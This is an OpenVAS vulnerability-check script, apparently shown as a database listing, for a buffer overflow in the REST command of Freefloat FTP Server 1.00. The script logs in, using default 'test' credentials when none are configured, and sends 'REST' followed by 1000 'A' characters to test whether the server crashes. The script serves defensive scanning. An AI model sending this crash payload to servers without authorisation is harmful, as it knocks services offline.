Freefloat FTP Server POST Auth 'REST' Command Buffer Overflow Vulnerability

2011-07-19T00:00:00
ID OPENVAS:802029
Type openvas
Reporter Copyright (C) 2011 Greenbone Networks GmbH
Modified 2017-08-25T00:00:00

Description

This host is running Freefloat FTP Server and is prone to buffer overflow vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_freefloat_ftp_rest_cmd_bof_vuln.nasl 7006 2017-08-25 11:51:20Z teissa $
#
# Freefloat FTP Server POST Auth 'REST' Command Buffer Overflow Vulnerability
#
# Authors:
# Veerendra G.G <veerendragg@secpod.com>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploits may allow remote attackers to execute arbitrary
code on the system or cause the application to crash.

Impact Level: System/Application";

tag_affected = "FreeFloat Ftp Server Version 1.00, Other versions may also be affected.";

tag_insight = "The flaw is due to improper bounds checking when processing
'REST' command with specially-crafted an overly long parameter.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running Freefloat FTP Server and is prone to buffer
overflow vulnerability.";

if(description)
{
  script_id(802029);
  script_version("$Revision: 7006 $");
  script_tag(name:"last_modification", value:"$Date: 2017-08-25 13:51:20 +0200 (Fri, 25 Aug 2017) $");
  script_tag(name:"creation_date", value:"2011-07-19 14:57:20 +0200 (Tue, 19 Jul 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Freefloat FTP Server POST Auth 'REST' Command Buffer Overflow Vulnerability");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/17546/");
  script_xref(name : "URL" , value : "http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl");
  script_require_ports("Services/ftp", 21);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

##
## The script code starts here
##

include("ftp_func.inc");

ftpPort = get_kb_item("Services/ftp");
if(!ftpPort){
  ftpPort = 21;
}

## check port status
if(!get_port_state(ftpPort)){
  exit(0);
}

## Open TCP Socket
soc = open_sock_tcp(ftpPort);
if(!soc) {
  exit(0);
}

## Accept the banner and
## Confirm the Application before trying exploit
banner =  recv(socket:soc, length:512);
if("220 FreeFloat" >!< banner){
  exit(0);
}
## Close the socket
ftp_close(socket:soc);

## Open TCP Socket
soc1 = open_sock_tcp(ftpPort);
if(!soc1) {
  exit(0);
}

## Check for the default user name
user = get_kb_item("ftp/login");
if(!user){
  user = "test";
}
## check for the default password
pass = get_kb_item("ftp/password");
if(!pass){
  pass = string("test");
}

##  Exist if not able to login
ftplogin = ftp_log_in(socket:soc1, user:user, pass:pass);
if(!ftplogin){
  exit(0);
}

## Send the crafted data
send(socket:soc1, data:string("REST ", crap(length: 1000, data:'A'),'\r\n'));

## Close the socket after sending exploit
ftp_close(socket:soc1);

## Wait for 2 seconds
sleep (2);

## Open the socket to confirm FTP server is alive
soc2 = open_sock_tcp(ftpPort);
if(!soc2){
  security_message(ftpPort);
  exit(0);
}

## Some time server will be listening, but won't respond
banner =  recv(socket:soc2, length:512);
if("220 FreeFloat" >!< banner){
  security_message(ftpPort);
  exit(0);
}
ftp_close(socket:soc2);